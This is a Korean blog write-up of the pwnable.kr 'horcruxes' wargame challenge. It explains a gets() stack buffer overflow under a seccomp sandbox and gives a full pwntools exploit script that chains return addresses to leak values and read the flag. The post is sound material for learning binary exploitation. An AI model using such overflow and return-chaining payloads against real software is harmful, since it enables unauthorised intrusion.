[pwnable.kr] horcruxes(7 pts) :: Write-Up
두비니
·2020. 10. 9. 05:01
Voldemort concealed his splitted soul inside 7 horcruxes. Find all horcruxes, and ROP it! author: jiwon choi ssh horcruxes@pwnable.kr -p2222(pw: guest) |
와 toddler's bottle 마지막 문제네요.
대놓고 ROP라고 주어져있네요.
봅시다
일단 readme를 보니 9032로 들어가서 익스하라고하네요.
아무튼 그렇고, 아이다로 열어봅시다.
main함수입니다. 음 저기있는 함수들을 확인해 보았을 때, init_ABCDEFG()는 랜덤값을 할당해주는 함수였고, seccomp_* 함수들이 있는데, 이는 찾아보니 프로그램을 보호하기 위해 샌드박스 안에서 실행이 될 수 있도록 하는 함수라고 하네요. 저기 써져있는 seccomp_rule_add()는 저기서 지정해주는 함수들만 사용이 가능하다고 합니다.
seccomp_rule_add(v3, 2147418112, 173, 0); // sys_rt_sigreturn
seccomp_rule_add(v3, 2147418112, 5, 0); // sys_open
seccomp_rule_add(v3, 2147418112, 3, 0); // sys_read
seccomp_rule_add(v3, 2147418112, 4, 0); // sys_write
seccomp_rule_add(v3, 2147418112, 252, 0); // sys_exit_group
찾아봤는데 각 함수는 각각 저런 값들을 뜻한다고 하네요.
그리고 결국 중요한건 ropme()겠죠? 확인해봅시다.
일단 메뉴로 a부터 g까지값이 같으면 실행이 되는 함수들이, else로 그 외의 입력을 받는 곳이 있습니다.
우선 a부터 g까지의 값은 어떻게 알 수 있을까요?
바로 init_ABCDGF()를 통해서 값을 설정하는데, 각 값은 랜덤으로 정해질 뿐더러, srand()를 통해서 매번 다른 값으로 설정하기 때문에 브루트포싱을 해도 소용없습니다.
그러면 이 값들을 알아내는건 각 알파벳 함수들 밖에 없습니다. (ex. A(), B(), C(), D()...)
각 함수에서 모든 초기화값을 알아내야지 ropme()의 else부분에서
다음과 같이 flag를 열 수 있습니다.
else부분에서는 입력값이 sum과 같은지를 보는데, 이 sum값은 앞서 있었던 init_ABCDEFG()에서 정해지는 값이기 때문에 사실상 예측할 수 없습니다.
음...일단 이 프로그램의 취약점부터 찾아봅시다.
일단 제일 먼저 찾을 수 있는 취약점은 else부분의 gets() 부분입니다.
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
가장 먼저 한 생각은 gets를 이용해 간단히 buffer overflow를 이용해서 ret를 flag를 여는 곳으로 바꾸고 싶지만, 그렇게 쉽게 풀릴 문제는 당연히 아니겠죠? 이유를 봅시다.
다음은 else부분에 해당하는 어셈블리어 커드 부분입니다. ropme+224에서 gets를 받는 것을 볼 수 있고, ropme+235에서 ebp-0x74만큼 메모리를 할당해주는 것을 봐서 s의 시작 위치는 ebp-0x74임을 알 수 있습니다.
당연히 든 생각은
0x78(0x74+0x4)만큼 값을 채우고, ret부분에 jne 밑부분인 0x080a010b을 넣으면 그냥 해결되는 문제가 아닌가?라고 생각했지만
gets()는 stdin으로 0x0a 혹은 EOF를 받을 때까지 입력을 받는다고 하네요.
즉, 넣고자 하는 주소가 0x080a010b라 넣을 수 없습니다.
따라서 문제에서도 언급했듯이 이 문제는 ROP(Return Oriented Programming)을 사용해야합니다.
이를 모르는 사람들을 글을 읽고 옵시다 : d4m0n.tistory.com/84
다만 추가된 것은 앞서 seccomp함수를 통해서 open, read, write, exit 함수밖에 사용할 수 없기 때문에 해당 함수와 가젯들만 사용할 수 있습니다.
그래서 원래는 rop를 이용해서 차례로 open >> read >> write의 순서로 실행되도록 하여 flag를 출력시키려 했으나, 가젯에도 0x0a가 들어가는 바람에 앞서 설명한 gets()의 문제와 동일한 상태가 되어서 그냥 A~F함수의 값들을 모두 출력시키는 식으로 시나리오를 바꾸어 풀었습니다.
1 from pwn import *
2
3 s = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest')
4 p = s.run('nc 0 9032')
5
6 e = ELF('./horcruxes')
7
8 p.recvuntil("Menu:")
9 p.sendline('0')
10 p.recvuntil("earned? : ")
11
12 call_ropme = 0x0809fffc
13
14 pay = ''
15 pay += "A"*0x78
16 pay += p32(e.sym.A) # A
17 pay += p32(e.sym.B) # B
18 pay += p32(e.sym.C) # C
19 pay += p32(e.sym.D) # D
20 pay += p32(e.sym.E) # E
21 pay += p32(e.sym.F) # F
22 pay += p32(e.sym.G) # G
23 pay += p32(call_ropme)
24
25 #print pay
26 p.sendline(pay)
27
28 exp = 0
29
30 for i in range(0, 7):
31 print p.recvuntil("EXP +")
32 exp += int(p.recvuntil(")")[:-1])
33 log.info("total : " + str(exp))
34
35 p.recvuntil("Menu:")
36 p.sendline('0')
37 p.recvuntil("earned? : ")
38
39 p.sendline(str(exp))
40 p.interactive()
이게 맞는 코드여도 정수 오버플로우때문인지 틀렸다고 하는 경우가 꽤 있더라구요. 저도 한 5~6번 해보고 풀린거 같습니다. rop..?라기보다는 rtl에 가깝다고 생각하는 문제였습니다.
아무튼 toddler's bottle 끝!
'War Games > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink(10 pts) :: Write-Up (0) | 2020.10.02 |
---|---|
[pwnable.kr] blukat(3 pts) :: Write-Up (0) | 2020.07.23 |
[pwnable.kr] asm(6 pts) :: Write-Up (0) | 2020.07.22 |
[pwnable.kr] memcpy(10 pts) :: Write-Up (0) | 2020.07.21 |
[pwnable.kr] uaf(8 pts) :: Write-Up (0) | 2020.07.20 |